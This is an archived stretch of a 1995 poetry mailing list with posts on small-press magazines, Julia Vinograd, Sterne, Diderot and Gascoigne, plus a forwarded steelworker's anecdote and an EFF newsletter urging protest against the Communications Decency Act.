re Kay Boyle: "who knew?" that number has a fine drape on the page

has anybody read Julia Vinograd? is it true that, whoever she is, she's written *39* books of poetry? ----Marisa

↑ Index

191. Charles Watts
Blaser conference publications
Fri 8 Dec 1995

For anyone interested in the Recovery of the Public World Conference in honor of Robin Blaser that took place last June 1st through 4th in Vancouver, two magazines have just been published which contain papers given at the conference as well as work by some of the poets who were at the conference.

Sulfur 37 has a talk given by Robin Blaser on the opening night of the conference as well as essays by Jed Rasula and Peter Quartermain, along with a foreword by me; as well, there's new writing by Anne Waldman, Jerome Rothenberg, Michael McClure, and Rachel Blau DuPlessis, all of whom were at the conference. You can get Sulfur from Small Press Distribution or from c/o English Department, Eastern Michigan University, Ypsilanti, MI 48197; phone/fax: [redacted]. Single issues are $9, subscriptions are $14/year for two issues

As well, West Coast Line Number 17 is just out, containing a talk by Charles Bernstein, also given on the opening evening of the conference, and papers by Robert Hullot-Kentor, Kevin Killian, and Daphne Marlatt, as well as new writing by Rachel Blau DuPlessis, Michele Leggott, Leslie Scalapino, Michael McClure, David Levi Strauss, and Jed Rasula, conference-goers all. West Coast Line can be obtained from SPD, also from 2027 East Academic Annex, Simon Fraser University, Burnaby, B.C. Canada V5A 1S6. Single issue copies are $10; subscriptions are $20/year for three issues. Number 17 is the Fall 1995 issue.

Also, I hear from Jenny Penberthy that the Capilano Review big double issue of new writing by many of the conference participants is in the press. When it's out I'll put a notice on the list.

Plans are still going forward for a publication of many of the papers presented at the conference; watch for more news on this publication in the spring or fall of 1996.

Best to all you geysers, geezers, guysies & geezees,

Charles Watts

↑ Index

192. Robert Drake
Re: our daily bread/th
Fri 8 Dec 1995

> *has anybody read Julia Vinograd? is it true that, whoever whe is, she's written *39* books of poetry?*

the latest i have ov hers describers her as "a berkley street poet" and credits her with 28 books... but that was way back in '89...

lbd

↑ Index

193. Thomas Bell
Re: purism on the list
Sat 9 Dec 1995

On Fri, 8 Dec 1995, Jordan Davis wrote:

> Gale Nelson wrote:
> > I missed the point in the renga where Uncle Toby actually lights his pipe.
> > Perhaps Trim was doing this for him, in _his own dream of books._
> _____
>
>
> Gale,
>
> Toby lights his cigar in the forthcoming renga, _Zeno
> Unbound_.
>
> Jordan
>
The burden of proof here is on the locutor.

Tom

↑ Index

194. Gabrielle Welford
Steven the Steelworker: Cures for Boredom (fwd)
Sat 9 Dec 1995

Hi all. I'm forwarding this because I remember us talking about some class issues before and kitsch poetry and now poetry and work, and also just because if some of this isn't performance art... Reminds me of some of the things we do. Gab.

---------- Forwarded message ----------
Date: Sun, 3 Dec 1995 06:16:42 -1000
From: Steven Rubio <[redacted]>
To: Multiple recipients of <[redacted]>
Subject: Steven the Steelworker: Cures for Boredom

There were some remarkably creative people at my plant. All of them spent their idle time at work concocting magnificent schemes, pranks, Rube Goldberg contraptions, drawings, just about anything to both kill the boredom and give an outlet for creativity. Sometimes I think that was the real shame of factory work ... not the lost hours doing boring work, not the crushed fingers or lacerated elbows, but the waste of creative talent. Who knows, maybe all of us

were never going to "amount to anything" anyway, but sometimes people would create marvels of inanity and you'd realize in a better world, they'd have a better place to demonstrate their abilities.

But when I give examples of their work ... well, the examples are stupid, because we were all stoopid from working there, so you would produce creative works that were barely creative. One night a guy balanced a pushbroom on his pinkie ... the next night he balanced it on his nose and called it the "Broom Of Doom" ... the next night he stood on the forks of a lifttruck while the driver raised him high into the air while he balanced the broom on his nose and called it the "Forklift Of Doom" ... soon, all of us were creating our own versions of Doom (mine was called the "Bundle-Turner Of Doom" ... the bundleturner being a machine that took stacks of sheets of steel and flipped them upside down ... I would climb into the machine, someone would hit the "flip" button, and I'd get turned upside down). In retrospect, it's childish, even petty stuff, but it was the best people could do when they were bored stiff and it was noisy and dirty and you knew at least you'd get paid at the end of the week.

The Coil Department had two large machines that cut coils into sheets, and sometimes when you were bored you would take your finger and "write" stuff in the dust on the overhead lights ... messages for the workers on the other machine, like "Fuck You Line #2" or some similar bon mot ... then they would climb up to their lights and finger into the dust, "Fuck YOU Line #1." One day the plant manager actually looked up for a change and saw the various fuckyous scrawled into the dust. He immediately had someone wipe the lights clean, and when we arrived at work that evening, we were told in no uncertain terms that there would be no more writing Fuck You in the dirt on the overhead lights! Well, I hated to see my free speech curtailed, so I took this pole, must have been 20-30 feet long ... you used it to flick a breaker switch in an electrical emergency, the breaker box for some reason being located on the ceiling. I took that pole, taped a black marking pen to the end, climbed on my machine, held the pole in the air and used it to write "Line Two Sux" on a beam that held up the roof, about a gazillion feet above us.

One more ... one night in our boredom, we took a few hundred paper stickers, rolled them into pointed paper darts, and uses steel pipes to have a blowgun war that lasted most of the evening. We had so much fun we wanted to play again the next night, but we didn't want anyone to find our paper darts and we didn't want to make new ones, so I took them all and stuck them in a cabinet that held counters for marking off how many sheets of steel we had processed, figgering no one ever looked in a place like that.

Only the paper darts fucked up the counters, and the next morning, the machine has to stop while they try to figger out why the counters aren't

working, and the electrician and the mechanic and the plant manager are all standing around scratching their heads when the electrician decides to open the cabinet, and out falls hundreds of blue paper darts ...

Steven

http://garnet.berkeley.edu:4251

↑ Index

195. Gabrielle Welford
Re: our daily bread/th
Sat 9 Dec 1995

Marisa, how about Jessica Hagedorn's _The Dogeaters_? Lots of hunger. Gab.

↑ Index

196. Dick Higgins
Re: Shandy & Diderot
Sat 9 Dec 1995

LOve it love it love it.

And by the way, for others who like 18th Century experiments, anybody noticed the writings of Sir Timothy Dexter? He was an 18th Century profiteer in Massachusetts, who after the revolutioon affected curious dress and recreated a past for himself, but he handed out extraordinary visionary political tracts written in a prose which are like Blake and Joyce. Then too there are William Billings's "Jargon (A Hymn to Dissonance," an extraordinarily beautiful polytonal composition and the circular musical notation (endless of course) from the cover of one of his music pamphlets. We 'Mellicans had a fine "experimental tradition" before we started gumming up the works by over-systematizing it.

Very bests

Dick Higgins

> *Anybody on this list who has NOT read Tristram Shandy should (to use Dick Higgins' favorite word) correct that condition post haste.*
>
> *& if you enjoyed Shandy you'll love Diderot's "Jacques the Fatalist". As entertaining as Richardson, as radical, and more readable (if only because C18 French translated into C20 English is easier to read than C18 English). An anti -novel before the novel was really established. Didn't Kundera turn this into a play?*
>
> *The Enlightenment gets a bad press from post-structuralist types, but my*

> *understanding of the Enlightenment has always centred more upon Diderot than sour old Rousseau. Try also "D'Alembert's Dream", a speculative dialogue that prefigures evolution, neural networks, artificial intelligence and theories of consciousness.*
>
> *Tom Beard.*
>
> ---
>
> *I/am a background/process, shrunk to an icon. | Tom Beard*
> *I am/a dark place. | [redacted]*
> *I am less/than the sum of my parts... | Auckland, New Zealand*
> *I am necessary/but not sufficient, | http://www.met.co.nz/*
> *and I shall teach the stars to fall | nwfc/beard/www/hallway.html*

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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197. Ron Silliman
Re: The Prisonhouse of Lists
Sat 9 Dec 1995

Great new books in my mail from P. Phillips and S. Ratcliffe -- not only is the poetry superb, the cover art is suitable, as they say, for framing,,,

Thus spake Aldon (pronounced All Done)

Haven't seen Steve's book, but I want to second the good words re Pat Phillips' Ruin. Great little book. Very eery cover.

Ron

↑ Index

198. Ron Silliman
Re: our daily bread/th
Sat 9 Dec 1995

>has anybody read Julia Vinograd? is it true that, whoever she is, she's
>written *39* books of poetry? ----Marisa
>

I'm sure that she has. Julia, aka the "bubble lady" of Berkeley, graduated from UC and went to Iowa City in the 60s, then after a stint in NYC (which I know about only because Paul Carroll mentions it in the bio note to her work in his anthology, The Young American Poets (Big Table Books, 1968, intro by James Dickey)), settled in in Berkeley. She's lived on SSI and been a street poet in the most literal sense for a quarter of century.

↑ Index

199. Ray Davis
Re: Shandy & Diderot
Sat 9 Dec 1995

One of my favorite novels is George Gascoigne's 1573 experiment in New Narrative, "A Discourse of the Adventures Passed by Master F.J.". Gascoigne took the standard Elizabethan editorial apparatus (best known to most readers via Shakespeare's sonnets) and, by making the fictional editor a gossip as well as a thief of intellectual property, wove an acid roman a clef around his occasional poems.

In a stunning gambit of self-plagiarism and self-protection, Gascoigne later reprinted the material as a "fable translated out of the Italian riding tales of Bartello," cutting down on the amount of rewriting needed by announcing on the second page, "And bicause I do suppose that Leonora is the same name whiche wee call Elinor in English, and that Francischina also doth import none other than Fraunces, I will so entitle them as to our own countriemen may be moste perspicuous."

An inspiration to us all,
Ray

↑ Index

200. Dick Higgins
Re: Shandy & Diderot
Sat 9 Dec 1995

> *Dear Ray Davis---thanks for the Gascoigne. You claim that it was a stunning gambit of both "self-plagiarism and self-protection" that allowed him to cut down on the amount of rewriting needed to recontext-ualize the poetic material by incorporating them into a more narrative form. Or am I misreading you? Anyway, I don't know if it's actually best to read this simply as a maneouver of laziness, a time-saving device. I guess I'm more interested in the "self-protection" than the "self-plagiarism", for it seems self-protective in terms that it deals with a convention that is still very dominant today--the convention that*

> *insofar as an "I" is used in a poem it is often taken as "the poet itself" speaking (unless it's a blatant dramatic monologue spoken by something like hitler on one hand, or a LANGUAGE poem type in which "I' is deprivileged and decentered by a proliferation of shifting pronouns, etc.). Yet what Gascoigne's form allows him is to have his cake and eat it too---to severely question the authenticity of the "I" while at the same time writing as if FROM within it, an achievement as rare today as not---though Bob Perelman, for instance, seems to be moving closer to it---in his pieces in the new raddle moon--that actually sutain dialogue between characters---something the more "purist" l poets (Andrews for instance) I have a hunch would consider heresy (Harryman too). Oops, sorry, I was going to try to keep this "safe" and ostensibly out of the realm of coterie politics....*
> *chris*

Want to know another fascinating French piece from times gone by? Try the Anonymous "Comédie des proverbes" ca. 1573. I found it by acxcident when I was doiung pattern poetry researchn and ordered a microfilm from the Bibliothèque Natiopnale in Paruis. It was on it. My copy is now in the Getty.

But Lord Timothy Dexter is my real favorite 18th Century experimewntal prose writer. Quite mad, really.

Bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

201. Chris Stroffolino
Re: Shandy & Diderot
Sat 9 Dec 1995

Dear Ray Davis---thanks for the Gascoigne. You claim that it was a stunning gambit of both "self-plagiarism and self-protection" that allowed him to cut down on the amount of rewriting needed to recontext- ualize the poetic material by incorporating them into a more narrative form. Or am I misreading you? Anyway, I don't know if it's actually best to read this simply as a maneouver of laziness, a time-saving device. I guess I'm more interested in the "self-protection" than the "self- plagiarism", for it seems self-protective in terms that it deals with a convention that is still very dominant today--the convention that insofar as an "I" is used in a poem it is often taken as "the

poet itself" speaking (unless it's a blatant dramatic monologue spoken by something like hitler on one hand, or a LANGUAGE poem type in which "I' is deprivileged and decentered by a proliferation of shifting pronouns, etc.). Yet what Gascoigne's form allows him is to have his cake and eat it too---to severely question the authenticity of the "I" while at the same time writing as if FROM within it, an achievement as rare today as not---though Bob Perelman, for instance, seems to be moving closer to it---in his pieces in the new raddle moon--that actually sutain dialogue between characters---something the more "purist" l poets (Andrews for instance) I have a hunch would consider heresy (Harryman too). Oops, sorry, I was going to try to keep this "safe" and ostensibly out of the realm of coterie politics.... chris

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202. Dick Higgins
Re: A Simple Query
Sat 9 Dec 1995

> *Has there ever been a performance (and/or recording) of Zukofsky's "A" 24?*
> *If so, what was it like/how did it work?*

I seem to recall that Zukofsky didn't liketo do readings. "What's the matter? Can't they read it for themselves?" seemed to be his attitude. That's what I was told.

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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203. Schuchat
A Simple Query
Sat 9 Dec 1995

Has there ever been a performance (and/or recording) of Zukofsky's "A" 24? If so, what was it like/how did it work?

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204. **Gabrielle Welford**

EFFector Online 08.20 * Censorship Protests & CDA Update (fwd)

Sun 10 Dec 1995

Apologies if you've all seen this already. But, here tis... Gab.

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_______________\    \\\\\\\\\\\\\\\\/     ||||||||||||||||    / ///////////////
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C E N S O R E D

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========================= EFFector Online Volume 08 No. 20
Dec 9, 1995      ▇▇▇▇▇▇ A Publication of the Electronic Frontier Foundation
ISSN 1062-9424
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IN THIS ISSUE:

ALERT: Mon. - Internet Censorship Protest Rally in San Francisco
ALERT: Tue. - Global Internet Day of Protest Against Censorship Bills
  Internet Day of Protest: Tuesday December 12, 1995
  What You Must Do On Tuesday December 12, 1995
  List of Participating Organizations
  Where Can I Learn More?
Update on Internet Censorship Bills
'Let Freedom Ring' - EFF Op-Ed on Internet Censorship
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Upcoming Events
Quote of the Day
What YOU Can Do
Administrivia

* See http://www.eff.org/Alerts/ or ftp.eff.org, /pub/Alerts/ for more information on current EFF activities and online activism alerts! *

Subject: Mon. - Internet Censorship Protest Rally in San Francisco
---

Spread the word!

*** NETIZENS!! RALLY AGAINST CENSORSHIP ***

Amendment I: "Congress shall make no law ... abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble."

**PROTEST ** PROTEST ** PROTEST ** PROTEST ** PROTEST ** PROTEST **

It's like illiterates telling you what to read. On December 6 members of the House Conference Committee on Telecommunications Reform approved a proposal to censor free speech in cyberspace. If the measures are adopted, the Net and online media will become the most heavily regulated media in the United States. They *will not* enjoy the First Amendment freedoms now afforded to print media. Instead, online publishers and users will be held to a vague and patently un-Constitutional "indecency" standard. "Violators" will be subject to fines of up to $100,000 and prison terms of up to five years.

In response, ALL members of the Bay Area media, online, Internet, new media, and telecommunications communities are invited to participate in a protest rally to express our outrage that the politicians in Congress (which is not even connected to the Internet!) are attempting to destroy our First Amendment rights in cyberspace, and directly attack our livelihoods.

Help stop the demagogs in Washington! There is nothing "decent" about denying free speech to us, our children, and our children's children. Preserve our Constitutional rights! Join us!

WHEN: Monday, December 11, 1995 12:00 - 1:00 PM (PST)

WHERE: South Park (between 2nd and 3rd, Bryant and Brannon) San Francisco.

SPEAKERS: To be announced [including John Gilmore, Jim Warren, Dave Winer, Mike Godwin, Howard Rheingold]

BRING: Attention-grabbing posters, signs, and banners that demonstrate your committment to free speech and expression, and your feelings about Congress.

FOR UPDATED INFORMATION: http://www.hotwired.com/staff/digaman

(Although this event is being organized in the offices of Wired magazine and HotWired, we are *actively* seeking participation and support from all members of the local community. Please forward this message to anyone you think should attend, and to all relevant news groups.)

CONTACT: Todd Lappin -- [redacted] -- [redacted]

Subject: ALERT Tue. - Global Internet Day of Protest Against Censorship Bills
---

EFF has joined forces with the ACLU, CDT, EPIC, VTW, and other free speech groups to organize a National Day of Protest on Tuesday, December 12, 1995, against Congressional attempts to censor the Internet.

We hope you will join us and hundreds of thousands of your fellow net.citizens in this effort.

Congress is expected to cast a final vote on this issue next week. The fate of the Internet as a viable medium for free expression, education, and commerce hangs in the balance.

Please take a moment to read the attached alert and get ready to flood Capitol Hill with phone calls, faxes, and email messages on Tuesday. Please also forward this alert to all of your wired friends.

Together we *can* make a difference. And we cannot afford to fail at this.

CAMPAIGN TO STOP THE NET CENSORSHIP LEGISLATION IN CONGRESS

On Tuesday December 12, 1995, Join With Hundreds of Thousands Of Your Fellow Internet Users In

A NATIONAL INTERNET DAY OF PROTEST

PLEASE WIDELY REDISTRIBUTE THIS DOCUMENT WITH THIS BANNER INTACT

REDISTRIBUTE ONLY UNTIL December 20, 1995

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INTERNET DAY OF PROTEST: TUESDAY DECEMBER 12, 1995

Outrageous proposals to censor the Internet demand that the Internet Community take swift and immediate action. We must stand up and let Congress know that we will not tolerate their attempts to destroy this medium! Please join hundreds of thousands of your fellow citizens in a National Day of Protest on Tuesday December 12, 1995.

As you know, on Wednesday December 6, 1995, the House Conference Committee on Telecommunications Reform voted to impose far reaching and unconstitutional "indecency" restrictions on the Internet and other interactive media, including large commercial online services (such as America Online,

Compuserve, and Prodigy) and smaller Internet Service Providers such as Panix, the Well, Echo, and Mindvox.

These restrictions threaten the very existence of the Internet and interactive media as a viable medium for free expression, education, commerce. If enacted, the Internet as we know it will never be the same.

Libraries will not be able to put any books online that might offend a child somewhere. No "Catcher in the Rye" or "Ulysses" on the net. Internet Service Providers could face criminal penalties for allowing children to subscribe to their Internet Services, forcing many small companies to simply refuse to sell their services to anyone under 18. Worst of all, everything you say and publish on the net will have to be "dumbed down" to that which is acceptable to a child.

As Internet users, we simply must not allow this assault against the Internet and our most basic freedoms to go unchallenged.

On Tuesday December 12, the organizations below are urging you to join us in a NATIONAL DAY OF PROTEST. The goal is to flood key members of the House and Senate with phone calls, faxes and email with the message that the Internet community WILL NOT TOLERATE Congressional attempts to destroy the Internet, limit our freedoms and trample on our rights.

Below are the phone, fax, and email address of several key members of Congress on this issue and instructions on what you can do to join the National Day of Protest to save the Net.

WHAT YOU MUST DO ON TUESDAY DECEMBER 12, 1995

1. Throughout the day Tuesday December 12, please contact as many members of Congress on the list below as you can. If you are only able to make one call, contact House Speaker Newt Gingrich. Finally, if the Senator or Representative from your state is on the list below, be sure to contact him or her also.

2. Urge each Member of Congress to "stop the madness". Tell them that they are about to pass legislation that will destroy the Internet as an educational and commercial medium. If you are at a loss for words, try the following sample communique:

Sample phone call:

Both the House and Senate bills designed to protect children from objectionable material on the Internet will actually destroy the Internet as an medium for education, commerce, and political discourse. There are other, less restrictive ways to address this issue.

I urge you to oppose both measures being proposed in the conference committee. This is an important election issue to me.

Sample letter (fax or email):

The Senate conferees are considering ways to protect children from inappropriate material on the Internet. A vote for either the House or Senate proposals will result in the destruction of the Internet as a viable medium for free expression, education, commerce. Libraries will not be able to put their entire book collections online. Everyday people like me will risk massive fines and prison sentences for public discussions someone s somewhere might consider "indecent".

There are other, less restrictive ways to protect children from objectionable material online. This is an important election issue to me.

3. If you're in San Francisco, or near enough to get there, go to the Rally Against Censorship from Ground Zero of the Digital Revolution:

WHEN: Monday, December 11, 1995 12:00 - 1:00 PM
WHERE: South Park (between 2nd and 3rd, Bryant and Brannon) San Francisco.
SPEAKERS: To be announced
BRING: Attention-grabbing posters, signs, and banners that demonstrate your committment to free speech and expression, and your feelings about Congress.
FOR UPDATED INFORMATION (including rain info): http://www.hotwired.com/staff/digaman/

THIS IS VERY IMPORTANT

4. Mail a note to [redacted] to let us know you did your part. Although you will not receive a reply due to the number of anticipated responses, we'll be counting up the number of people that participated in the day of protest.

P ST Name and Address Phone Fax = == ========== ========== R AK Stevens, Ted [redacted] R AZ McCain, John [redacted] D HI Inouye, Daniel K. [redacted] R KS Dole, Robert [redacted] D KY Ford, Wendell H. [redacted] R MS Lott, Trent [redacted] R MT Burns, Conrad R. [redacted] D NE Exon, J. J. [redacted] D SC Hollings, Ernest F. [redacted] R SD Pressler, Larry [redacted]

[redacted] R WA Gorton, Slade [redacted] [redacted]
[redacted] D WV Rockefeller, John D. [redacted] n.a. [redacted]

Dist ST Name, Address, and Party Phone Fax
==== == ========== ========== ==========

6 GA Gingrich, Newt (R) [redacted] [redacted]
2428 RHOB [redacted]
14 MI Conyers Jr., John (D) [redacted] [redacted]
2426 RHOB [redacted]
1 CO Schroeder, Patricia (D) [redacted] [redacted]
2307 RHOB
18 TX Jackson-Lee, Sheila (D) [redacted] [redacted]
1520 LHOB
6 TN Gordon, Bart (D) [redacted] [redacted]
2201 RHOB

4. Forward this alert to all of your wired friends.

WHERE CAN I LEARN MORE?

At this moment, there are several organizations with WWW sites that now have, or will have, information about the net censorship legislation and the National Day Of Protest:

American Civil Liberties Union (ftp://ftp.aclu.org/aclu/)
Center for Democracy and Technology (http://www.cdt.org/)
Electronic Frontier Foundation (http://www.eff.org/)
Electronic Privacy Information Center (http://www.epic.org/)
Wired Magazine (http://www.hotwired.com/special/indecent/)
Voters Telecommunications Watch (http://www.vtw.org/)

LIST OF PARTICIPATING ORGANIZATIONS

In order to use the net more effectively, several organizations have joined forces on a single Congressional net campaign to stop the Communications Decency Act.

American Civil Liberties Union * American Communication Association * American Council for the Arts * Arts & Technology Society * Association of Alternative Newsweeklies * biancaTroll productions * Boston Coalition for Freedom of Expression * Californians Against Censorship Together * Center For Democracy And Technology * Centre for Democratic Communications * Center for Public Representation * Citizen's Voice - New Zealand * Cloud 9 Internet

*Computer Communicators Association * Computel Network Services * Computer Professionals for Social Responsibility * Cross Connection * Cyber-Rights Campaign * CyberQueer Lounge * Dorsai Embassy * Dutch Digital Citizens' Movement * ECHO Communications Group, Inc. * Electronic Frontier Canada * Electronic Frontier Foundation * Electronic Frontier Foundation - Austin * Electronic Frontiers Australia * Electronic Frontiers Houston * Electronic Frontiers New Hampshire * Electronic Privacy Information Center * Feminists For Free Expression * First Amendment Teach-In * Florida Coalition Against Censorship * FranceCom, Inc. Web Advertising Services * Friendly Anti-Censorship Taskforce for Students * Hands Off! The Net * Inland Book Company * Inner Circle Technologies, Inc. * Inst. for Global Communications * Internet On-Ramp, Inc. * Internet Users Consortium * Joint Artists' and Music Promotions Political Action Committee * The Libertarian Party * Marijuana Policy Project * Metropolitan Data Networks Ltd. * MindVox * MN Grassroots Party * National Bicycle Greenway * National Campaign for Freedom of Expression * National Coalition Against Censorship * National Gay and Lesbian Task Force * National Public Telecomputing Network * National Writers Union * Oregon Coast RISC * Panix Public Access Internet * People for the American Way * Republican Liberty Caucus * Rock Out Censorship * Society for Electronic Access * The Thing International BBS Network * The WELL * Voters Telecommunications Watch

(Note: All 'Electronic Frontier' organizations are independent entities, not EFF chapters or divisions.)

End Alert
[Intro text adapted from CDT & VTW copies of the alert.]

Subject: Update on Internet Censorship Bills

The US House of Representatives members of the join conference committee working on the telecom bill passed, Dec. 5, a gutted version of the White amendment, that would criminalize "indecent" material online. The fight now moves to the Senate side of that committee, which is dominated by sponsors of unconstitutional censorship legislation. Needless to say, they are not expected to uphold the First Amendement.

The larger Congress, however, may be another story. As public rallies and online protests gear up, civil liberties organizations including EFF are urging YOU to call your Senators and Representatives, as well as Dole and Gingrich as Congressional leaders, to express your opinions on this vital issue.

According to an e-press release from _American_Reporter_, this online-only daily newspaper "threatened on Thursday to deliberately defy the language of [the] U.S. House cyberporn proposal if it becomes law, calling the measure a clear violation of the First Amendment." Other individuals and organizations - including a judge - have similarly promised civil disobedience, with people almost literally lining up to challenge the bill in court should it pass. ACLU, EFF, and the National Writers Union, among others, have indicated interest in mounting legal challenges to any such censorship law.

The _Boston_Globe_ reports that at least one legislator, Rep. Ed Markey (D-MA) is skeptical about the proposed new law. "Markey said there's a good chance Congress won't finish work on the overall telecommunications bill this year. Even if the bill is completed, a constitional challenge to the law is very likely. Besides, the law won't stop people outside the United States from posting pornography on the Internet." (from "Markey Says Parents Key to Cyberporn Fight", Hiawatha Bray, _Boston_Globe_, Dec. 9).

Elizabeth Corcoran & Mike Mills report in the _Washington_Post_ that Speaker of the House Newt Gingrich (R-GA) intends to "narrow the scope" of the legislation, working with Rep. Rick White (R-WA), who's own proposal was gutted in the conference committee. The _Post_ suggests that they will try to push the legislation back towards a "harmful to minors" (obscenity) standard, rather than the vague indecency standard expected to be reported out of the conf. committee early next week. Gingrich's plan would essentially force to be subject to at least some of the same tests as obscenity - material with cultural, literary or scientific value would be exempted.

The next (and possibly last, for this issue) meeting of the conferees on the telecom bill has been set for 2pm EST, Tue., Dec. 12. The telecom bill conference report (that is, the final version of the bill) is sheduled for a vote the week of Dec. 11.

Subject: 'Let Freedom Ring' - EFF Op-Ed on Internet Censorship
---

[This is the longer original version of an opinion-editorial piece published Dec. 9, in the _New_York_Times_.]

Let Freedom Ring

Freedom of speech on the Internet, the worldwide network of computers, is under attack from a variety of sources, both public and private. Three preliminary decisions handed down over the past couple of weeks against the Church of Scientology and its related Religious Technology Center and Bridge

Publications, Inc., offer a glimpse into how complicated these issues can become online.

The first decision, filed just before Thanksgiving by Judge Ronald Whyte of the northern California federal district court, probably had the most far-reaching implications for the future of electronic communications. Judge Whyte held that Internet service providers, those important gateways to the information superhighway, cannot be held liable for copyright infringement when they have no knowledge of the content of their users' messages. "Where a BBS operator cannot reasonably verify a claim of infringement, either because of a possible fair use defense, the lack of copyrighted notices on the copies, or the copyright holder's failure to provide the necessary documentation to show that there is a likely infringement, the operator's lack of knowledge will be found reasonable and there will be no liability for contributory infringement for allowing the continued distribution of the works on its system."

This is important, because system providers are similar to the telephone company when it comes to electronic communications-- they provide the conduit. If they can be held liable for the content of messages, they are more likely to monitor those messages and censor any that contain anything that might get them in trouble. Just as we don't want Ma Bell censoring our voice communications, we should be very troubled by any copyright law interpretation that would assign liability to those who provide Internet service.

The second and third decisions were filed last week by Judge Leonie M. Brinkema of the federal district court for northern Virginia. In those cases, Judge Brinkema admonished the Church of Scientology for using lawsuits to silence its online critics. In dismissing the Washington Post and two of its reporters from the suit and holding the Church of Scientology responsible for the Post's attorneys' fees, Judge Brinkema found, "Although the RTC brought the complaint under traditional secular concepts of copyright and trade secret law, it has become clear that a much broader motivation prevailed--the stifling of criticism and dissent of the religious practices of Scientology and the destruction of its opponents." The judge called this motivation "reprehensible."

While the results of these preliminary decisions are encouraging, they are but small battles in a war that is being waged not only in our courtrooms but in Congress and state legislatures, as well. And the war is hardly over. From the unconstitutional "online decency" legislation included in the telecommunications reform bill to the FBI's digital telephony wiretapping law, censoring the Internet seems to be the battle cry of the uninformed.

But there are serious ramifications to barreling ahead without fully considering the First Amendment--ramifications that will be with us for a long time to come. As we chip away at our own free speech rights, we diminish ourselves. The

most frightening aspect is that these decisions regarding provider liability and protection of the free speech rights of those who dare to disagree are being made before most of us realize that these precedents are being codified into law.

These early battles are important, and the online world breathed a collective sigh of relief over Judge Whyte's and Judge Brinkema's decisions. But there are more battles to be fought before we know that the First Amendment will make the transition to online communications.

Shari Steele,
Staff Counsel

The Electronic Frontier Foundation
1550 Bryant St., Suite 725
San Francisco CA 94103 USA
[redacted] (voice)
[redacted] (fax)
Internet: [redacted]

For the text of these court decisions and other related documents, see the relevant section of the Internet World Wide Web site of the Electronic Frontier Foundation at: http://www.eff.org/pub/Censorship/Scientology_cases/

The Electronic Frontier Foundation is a nonprofit public-interest civil liberties organization devoted to protecting privacy and free speech, and promoting responsibility, online.

[The text of the rather different version that was published offline is available at: http://www.eff.org/pub/Alerts/ssteele_eff_nyt_120995_cos.article on our WWW site.]

Subject: Upcoming events

This schedule lists events that are directly EFF-related. A much more detailed calendar of events likely to be of interest to our members and supporters is maintained at:

ftp: ftp.eff.org, /pub/EFF/calendar.eff
gopher: gopher.eff.org, 1/EFF, calendar.eff
http://www.eff.org/pub/EFF/calendar.eff

Jan. 17- 18 * Innovation Now; Oregon Convention Center, Portland Oregon. Sponsored by American Electronics Association's Oregon Council, et al. Speakers include EFF chair of the board Esther Dyson. URL: http://www.innovationnow.org/

Subject: Quote of the Day

"It is not the function of our Government to keep the citizen from falling into error; it is the function of the citizen to keep the Government from falling into error." - Robert H. Jackson (1892-1954), U.S. Judge

Find yourself wondering if your privacy and freedom of speech are safe when bills to censor the Internet are swimming about in a sea of of surveillance legislation and anti-terrorism hysteria? Worried that in the rush to make us secure from ourselves that our government representatives may deprive us of our essential civil liberties? Concerned that legislative efforts nominally to "protect children" will actually censor all communications down to only content suitable for the playground? Alarmed by commercial and religious organizations abusing intellectual property law to stifle satire, dissent and criticism?

Join EFF!

Even if you don't live in the U.S., the anti-Internet hysteria will soon be visiting a legislative body near you. If it hasn't already.

Subject: What YOU Can Do
---

* The Communications Decency Act & Other Censorship Legislation

The Communications Decency Act and similar legislation pose serious threats to freedom of expression online, and to the livelihoods of system operators. The legislation also undermines several crucial privacy protections.

Business/industry persons concerned should alert their corporate govt. affairs office and/or legal counsel. Everyone should write to their own Representatives and Senators, and especially the conference committee members, asking them to oppose Internet censorship legislation, and write to the conference committee members to support the reasonable approaches of Leahy, Klink, Cox and Wyden, and to oppose the unconstitutional proposals of Exon, Gorton and others. Urge them to ensure that system operators and others are not held liable for crimes they did not commit, that the FCC is barred from regulating the Internet, and that *if* your Congressperson is hell-bent on passing some restriction, any restriction, on the Net, that he or she vote to pass only a "harmful to minors" or "obscenity" statute that is clear and constitutional, and condemn any unconstitutional national "indecency" standard. You may also wish to tell such legislators that if they vote for any Internet censorship

leglslation, you'll vote against them in the next election. See the first three articles in this newsletter for more detailed info.

For more information on what you can do to help stop this and other dangerous legislation, see:

ftp.eff.org, /pub/Alerts/
gopher.eff.org, 1/Alerts
http://www.eff.org/pub/Alerts/

If you do not have full internet access, send your request for information to [redacted].

* Digital Telephony/Comms. Assistance to Law Enforcement Act

The FBI is now seeking both funding for the DT/CALEA wiretapping provisions, and preparing to require that staggering numbers of citizens be simultaneously wiretappable.

To oppose the funding, write to your own Senators and Representatives urging them to vote against any appropriations for wiretapping. To oppose the FBI's wiretapping capacity demands, see the FBI Federal Register notice at the end of the second article in this newsletter, which contains instructions on how to submit formal comments on the ludicrous and dangerous proposal.

* Anti-Terrorism Bills

Numerous bills threatening your privacy and free speech have been introduced this year. None of them are close to passage at this very moment, but this status may change. Urge your Congresspersons to oppose these unconstitutional and Big-Brotherish bills.

* The Anti-Electronic Racketeering Act

This bill is unlikely to pass in any form, being very poorly drafted, and without much support. However, the CDA is just as bad and passed with flying colors [the jolly roger?] in the Senate. It's better to be safe than sorry. If you have a few moments to spare, writing to, faxing, or calling your Congresspersons to urge opposition to this bill is a good idea. If you only have time to do limited activism, please concentrate on the Internet censorship legislation instead. That legislation is far more imminent that the AERA.

* Medical Privacy legislation

Several bills relating to medical privacy issues are floating in Congress right now. Urge your legislators to support only proposals that *truly* enhance the medical privacy of citizens.

More information on this legislation will be available at
http://www.eff.org/pub/Privacy/Medical/ soon. Bug [redacted] to make
it appear there faster. :)

* Find Out Who Your Congresspersons Are

Writing letters to, faxing, and phoning your representatives in Congress is one very important strategy of activism, and an essential way of making sure YOUR voice is heard on vital issues.

EFF has lists of the Senate and House with contact information, as well
as lists of Congressional committees. (A House list is included in this
issue of EFFector). These lists are available at:
ftp.eff.org, /pub/Activism/Congress_cmtes/
gopher.eff.org, 1/EFF/Issues/Activism/Congress_cmtes
http://www.eff.org/pub/Activism/Congress_cmtes/

